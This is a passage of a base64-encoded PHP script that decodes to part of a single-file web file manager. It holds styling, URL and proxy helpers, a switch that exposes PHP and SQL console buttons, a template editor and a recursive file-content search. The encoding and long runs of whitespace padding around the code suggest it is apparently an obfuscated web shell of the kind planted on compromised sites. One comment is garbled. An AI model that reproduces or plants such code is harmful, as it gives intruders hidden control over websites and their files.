CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQoNCmZ1bmN0aW9uIGZtX2hvbWVfc3R5bGUoKXsNCg0KCSAgICAgcmV0dXJuICcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KaW5wdXQsIGlucHV0LmZtX2lucHV0IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgdGV4dC1pbmRlbnQ6IDJweDsNCg0KfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCg0KaW5wdXQsIHRleHRhcmVhLCBzZWxlY3QsIGlucHV0LmZtX2lucHV0IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgY29sb3I6IGJsYWNrOw0KDQoJICAgICBmb250OiBub3JtYWwgOHB0IFZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7DQoJICAgICBib3JkZXItY29sb3I6IGJsYWNrOw0KCSAgICAgYmFja2dyb3VuZC1jb2xvcjogI0ZDRkNGQyBub25lICFpbXBvcnRhbnQ7DQoJICAgICBib3JkZXItcmFkaXVzOiAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBwYWRkaW5nOiAycHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQppbnB1dC5mbV9pbnB1dCB7DQoNCgkgICAgIGJhY2tncm91bmQ6ICNGQ0ZDRkMgbm9uZSAhaW1wb3J0YW50Ow0KDQoJICAgICBjdXJzb3I6IHBvaW50ZXI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQoNCg0KDQouaG9tZSB7DQoNCgkgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgiZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FNQUFBQW9MUTlUQUFBQUJHZEJUVUVBQUsvSU53V0s2UUFBQWdSUVRGUkYvZjM5Nk9qby8vLy90VDAyenIrZnc2NlJ0ajQzMlRFcDNNWEUyREFyM1RZcDF5NG10RHcyLzdCTS83Qk9xVnBjLzhsMzFqY3FxNmVud2NIQjJUZ2k1amdxVnBiRnZyYTJuQkFWL1B6ODJTMGpueDBXM1RVa3FTZ2k0ZUhoNFRzcmU0d29zejAyNnVQanpHWWQ2VXMzeW5BeWRVQkE1S2wzZm01ZXFaYVc3T0RnaTJWZytQajR1WStFd0xtNWJZOVUvLzdqZkx0Qyt0T0szamNtLzcxdTJqWW8xVVloNWFKbC9zZUMzakVtMTJrbUpySUExak1tLzlhVTRMaDBlMDFCbElhRS8vL2RoTWRDN0lBLy9mVFoyYzNNVzZuTjMwd2Y5NVZkNEpkWG9YVm9zOG5FNGVmTi8rNjNJSmdTbllobDdGNGNzWHQ4OUdRVXdMKy9qbDFjNDFBcStmYjJnbXRJMXJLYTJDNGtKYUlBM2pZcmxUdzV0ajQyM2pZbjNjWEUxelFveE1IQnAxbFozRGdtcWlrcy8rbWNqTEs4M2pZa3ltTVYzVFlrLy9ITSt1N1dobXRyMG9kVHBhT2pmV0pmckhwZy84QnMvN3RXLzdWZSs0VTUyRE1tM01MQm40cUxnTlZNNk16QjNsRWZsSXVMLytqQS8vLzIwTE96alh4OC83bGJXcEpHMkM4azNUb3NKS01BMXl3am9wT1IxellwNURzcGlheSt5S05ocUtTazhOVzYvZmpuczdPejJ0blp1ejg4N2IrVzNhUlkvK21zNHJDRTNUb3Q3Vjg1Ykt4anVFQTN3NDVWaDV1aHE2YW00Y0Z4Z1paVy85cUl1d2dLeTBzVyt1alQ0VFFudHo0MjNDOGkzelVqLytLdy9hNWQ2VU14dUw2d3pERXIvLy8vY3FKUWZBQUFBS3gwVWs1VC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vL0FBV1ZGYkVBQUFBWmRFVllkRk52Wm5SM1lYSmxBRUZrYjJKbElFbHRZV2RsVW1WaFpIbHh5V1U4QUFBQTJVbEVRVlFvVTJOWWpRWVlzQWlFOFU5WXpEWWpWcEdaUnhNaUVDaXRNclZadm9NclRsUTJFU1JRSjJGVndpbllibXFUVUxvb2huRTFnMWFLR1MvZk5NdGs0MHlaOUtWTFFoZ1lrdVk3TnhRdlh5SFZGTm5LelI2OXFweEJQTWV6MEVUQVF5VFV2U29nYUlGYVBjTnFWL001ZGhhMlJsMlRpbWI2WitRQkRZMVhOL1NidTh4RkxHM2VMRGZsMlVBQmppbE8xbzAxMlozZWsxbFpWSVdBQW1VVEs2TDBzM3BYK2pqNnB1WjJBd1dVdkJSYXBoc3dNZFV1akNpd0R3YTVWRWRQSTd5blVsYzd2MXFZVVJMcXVmNDJoejQ1Q0JQRHR3QUNybStSRGN4SllBQUFBQUJKUlU1RXJrSmdnZz09Iik7DQoNCgkgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7DQoNCn0nOw0KDQp9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQpmdW5jdGlvbiBmbV9jb25maWdfY2hlY2tib3hfcm93KCRuYW1lLCR2YWx1ZSkgew0KCSAgICAgZ2xvYmFsICRmbV9jb25maWc7DQoNCgkgICAgIHJldHVybiAnPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IGlkPSJmbV9jb25maWdfJy4kdmFsdWUuJyIgbmFtZT0iZm1fY29uZmlnWycuJHZhbHVlLiddIiB2YWx1ZT0iMSIgJy4oZW1wdHkoJGZtX2NvbmZpZ1skdmFsdWVdKT8nJzonY2hlY2tlZD0idHJ1ZSInKS4nIHR5cGU9ImNoZWNrYm94Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+PGxhYmVsIGZvcj0iZm1fY29uZmlnXycuJHZhbHVlLiciPicuJG5hbWUuJzwvdGQ+PC90cj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KfQ0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQpmdW5jdGlvbiBmbV9wcm90b2NvbCgpIHsNCgkgICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9TQ0hFTUUnXSkpIHJldHVybiAkX1NFUlZFUlsnSFRUUF9TQ0hFTUUnXS4nOi8vJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgJF9TRVJWRVJbJ0hUVFBTJ10gPT0gJ29uJykgcmV0dXJuICdodHRwczovLyc7DQoNCgkgICAgIGlmIChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSkgJiYgJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzKSByZXR1cm4gJ2h0dHBzOi8vJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09ICdodHRwcycpIHJldHVybiAnaHR0cHM6Ly8nOw0KDQoJICAgICByZXR1cm4gJ2h0dHA6Ly8nOw0KDQp9DQoNCg0KDQpmdW5jdGlvbiBmbV9zaXRlX3VybCgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgcmV0dXJuIGZtX3Byb3RvY29sKCkuJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KDQp9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KDQpmdW5jdGlvbiBmbV91cmwoJGZ1bGw9ZmFsc2UpIHsNCg0KCSAgICAgJGhvc3Q9JGZ1bGw/Zm1fc2l0ZV91cmwoKTonLic7DQoNCgkgICAgIHJldHVybiAkaG9zdC4nLycuYmFzZW5hbWUoX19GSUxFX18pOw0KDQp9DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KZnVuY3Rpb24gZm1faG9tZSgkZnVsbD1mYWxzZSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIHJldHVybiAnJm5ic3A7PGEgaHJlZj0iJy5mbV91cmwoJGZ1bGwpLiciIHRpdGxlPSInLl9fKCdIb21lJykuJyI+PHNwYW4gY2xhc3M9ImhvbWUiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzwvc3Bhbj48L2E+JzsNCg0KfQ0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQpmdW5jdGlvbiBmbV9ydW5faW5wdXQoJGxuZykgew0KDQoJICAgICBnbG9iYWwgJGZtX2NvbmZpZzsNCg0KCSAgICAgJHJldHVybiA9ICFlbXB0eSgkZm1fY29uZmlnWydlbmFibGVfJy4kbG5nLidfY29uc29sZSddKSA/IA0KDQoJICAgICAnDQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIDxmb3JtICBtZXRob2Q9InBvc3QiIGFjdGlvbj0iJy5mbV91cmwoKS4nIiBzdHlsZT0iZGlzcGxheTppbmxpbmUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IicuJGxuZy4ncnVuIiB2YWx1ZT0iJy5zdHJ0b3VwcGVyKCRsbmcpLicgJy5fXygnQ29uc29sZScpLiciPg0KDQoJICAgICAJICAgICAJICAgICAJICAgICA8L2Zvcm0+DQoNCicgOiAnJzsNCgkgICAgIHJldHVybiAkcmV0dXJuOw0KDQp9DQoNCg0KDQpmdW5jdGlvbiBmbV91cmxfcHJveHkoJG1hdGNoZXMpIHsNCgkgICAgICRsaW5rID0gc3RyX3JlcGxhY2UoJyZhbXA7JywnJicsJG1hdGNoZXNbMl0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgJHVybCA9IGlzc2V0KCRfR0VUWyd1cmwnXSk/JF9HRVRbJ3VybCddOicnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAkcGFyc2VfdXJsID0gcGFyc2VfdXJsKCR1cmwpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgJGhvc3QgPSAkcGFyc2VfdXJsWydzY2hlbWUnXS4nOi8vJy4kcGFyc2VfdXJsWydob3N0J10uJy8nOw0KDQoJICAgICBpZiAoc3Vic3RyKCRsaW5rLDAsMik9PScvLycpIHsNCg0KCSAgICAgCSAgICAgJGxpbmsgPSBzdWJzdHJfcmVwbGFjZSgkbGluayxmbV9wcm90b2NvbCgpLDAsMik7DQoNCgkgICAgIH0gZWxzZWlmIChzdWJzdHIoJGxpbmssMCwxKT09Jy8nKSB7DQoNCgkgICAgIAkgICAgICRsaW5rID0gc3Vic3RyX3JlcGxhY2UoJGxpbmssJGhvc3QsMCwxKTsJICAgICANCgkgICAgIH0gZWxzZWlmIChzdWJzdHIoJGxpbmssMCwyKT09Jy4vJykgew0KDQoJICAgICAJICAgICAkbGluayA9IHN1YnN0cl9yZXBsYWNlKCRsaW5rLCRob3N0LDAsMik7CSAgICAgDQoJICAgICB9IGVsc2VpZiAoc3Vic3RyKCRsaW5rLDAsNCk9PSdodHRwJykgew0KDQoJICAgICAJICAgICAvL2FsbGVzIG1hY2hlbiB3dW5kZXJzY2hvbg0KCSAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgICRsaW5rID0gJGhvc3QuJGxpbms7DQoNCgkgICAgIH0gDQoJICAgICBpZiAoJG1hdGNoZXNbMV09PSdocmVmJyAmJiAhc3Rycmlwb3MoJGxpbmssICdjc3MnKSkgew0KDQoJICAgICAJICAgICAkYmFzZSA9IGZtX3NpdGVfdXJsKCkuJy8nLmJhc2VuYW1lKF9fRklMRV9fKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJGJhc2VxID0gJGJhc2UuJz9wcm94eT10cnVlJnVybD0nOw0KDQoJICAgICAJICAgICAkbGluayA9ICRiYXNlcS51cmxlbmNvZGUoJGxpbmspOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICB9IGVsc2VpZiAoc3Rycmlwb3MoJGxpbmssICdjc3MnKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIC8v77+93KfRp++/vS3vv73vv73vv70g77+977+977+92Kfvv70g77+977+977+91afep9an36fvv73vv73vv70g77+936fRp9Wn77+9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgcmV0dXJuICRtYXRjaGVzWzFdLic9IicuJGxpbmsuJyInOw0KDQp9DQoNCiANCg0KZnVuY3Rpb24gZm1fdHBsX2Zvcm0oJGxuZ190cGwpIHsNCg0KCSAgICAgZ2xvYmFsICR7JGxuZ190cGwuJ190ZW1wbGF0ZXMnfTsNCg0KCSAgICAgJHRwbF9hcnIgPSBqc29uX2RlY29kZSgkeyRsbmdfdHBsLidfdGVtcGxhdGVzJ30sdHJ1ZSk7DQoJICAgICAkc3RyID0gJyc7DQoNCgkgICAgIGZvcmVhY2ggKCR0cGxfYXJyIGFzICRrdHBsPT4kdnRwbCkgew0KDQoJICAgICAJICAgICAkc3RyIC49ICc8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iJy4kbG5nX3RwbC4nX25hbWVbXSIgdmFsdWU9IicuJGt0cGwuJyI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPjx0ZXh0YXJlYSBuYW1lPSInLiRsbmdfdHBsLidfdmFsdWVbXSIgIGNvbHM9IjU1IiByb3dzPSI1IiBjbGFzcz0idGV4dGFyZWFfaW5wdXQiPicuJHZ0cGwuJzwvdGV4dGFyZWE+IDxpbnB1dCBuYW1lPSJkZWxfJy5yYW5kKCkuJyIgdHlwZT0iYnV0dG9uIiBvbkNsaWNrPSJ0aGlzLnBhcmVudE5vZGUucGFyZW50Tm9kZS5yZW1vdmUoKTsiIHZhbHVlPSInLl9fKCdEZWxldGUnKS4nIi8+PC90ZD48L3RyPic7DQoNCgkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQpyZXR1cm4gJw0KDQo8dGFibGU+DQo8dHI+PHRoIGNvbHNwYW49IjIiPicuc3RydG91cHBlcigkbG5nX3RwbCkuJyAnLl9fKCd0ZW1wbGF0ZXMnKS4nICcuZm1fcnVuX2lucHV0KCRsbmdfdHBsKS4nPC90aD48L3RyPg0KDQo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgdmFsdWU9IicuJGxuZ190cGwuJyIgbmFtZT0idHBsX2VkaXRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjx0cj48dGQgY2xhc3M9InJvdzEiPicuX18oJ05hbWUnKS4nPC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPicuX18oJ1ZhbHVlJykuJzwvdGQ+PC90cj4NCicuJHN0ci4nDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjx0cj48dGQgY29sc3Bhbj0iMiIgY2xhc3M9InJvdzMiPjxpbnB1dCBuYW1lPSJyZXMiIHR5cGU9ImJ1dHRvbiIgb25DbGljaz0iZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFwnJy5mbV91cmwoKS4nP2ZtX3NldHRpbmdzPXRydWVcJzsiIHZhbHVlPSInLl9fKCdSZXNldCcpLiciLz4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicuX18oJ1NhdmUnKS4nIiA+PC90ZD48L3RyPg0KDQo8L2Zvcm0+DQoNCjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iJy4kbG5nX3RwbC4nIiBuYW1lPSJ0cGxfZWRpdGVkIj4NCjx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSInLiRsbmdfdHBsLidfbmV3X25hbWUiIHZhbHVlPSIiIHBsYWNlaG9sZGVyPSInLl9fKCdOZXcnKS4nICcuX18oJ05hbWUnKS4nIj48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+PHRleHRhcmVhIG5hbWU9IicuJGxuZ190cGwuJ19uZXdfdmFsdWUiICBjb2xzPSI1NSIgcm93cz0iNSIgY2xhc3M9InRleHRhcmVhX2lucHV0IiBwbGFjZWhvbGRlcj0iJy5fXygnTmV3JykuJyAnLl9fKCdWYWx1ZScpLiciPjwvdGV4dGFyZWE+PC90ZD48L3RyPg0KDQo8dHI+PHRkIGNvbHNwYW49IjIiIGNsYXNzPSJyb3czIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJy5fXygnQWRkJykuJyIgPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjwvdGFibGU+DQonOw0KfQ0KDQoNCmZ1bmN0aW9uIGZpbmRfdGV4dF9pbl9maWxlQXJyYXkoJGRpciwgJG1hc2ssICR0ZXh0KSB7DQogICAgJHJlc3VsdHMgPSBhcnJheSgpOw0KDQogICAgaWYgKCRoYW5kbGUgPSBvcGVuZGlyKCRkaXIpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZW50cnkgPSByZWFkZGlyKCRoYW5kbGUpKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZW50cnkgIT0gIi4iICYmICRlbnRyeSAhPSAiLi4iKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0gJGRpciAuICIvIiAuICRlbnRyeTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkcGF0aCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHRzID0gYXJyYXlfbWVyZ2UoJHJlc3VsdHMsIGZpbmRfdGV4dF9pbl9maWxlQXJyYXkoJHBhdGgsICRtYXNrLCAkdGV4dCkpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGZubWF0Y2goJG1hc2ssICRlbnRyeSkpIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb250ZW50cyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRjb250ZW50cywgJHRleHQpICE9PSBmYWxzZSkgew0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHRzW10gPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRwYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgfQ0KICAgICAgICBjbG9zZWRpcigkaGFuZGxlKTsNCiAgICB9DQoNCiAgICByZXR1cm4gJHJlc3VsdHM7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg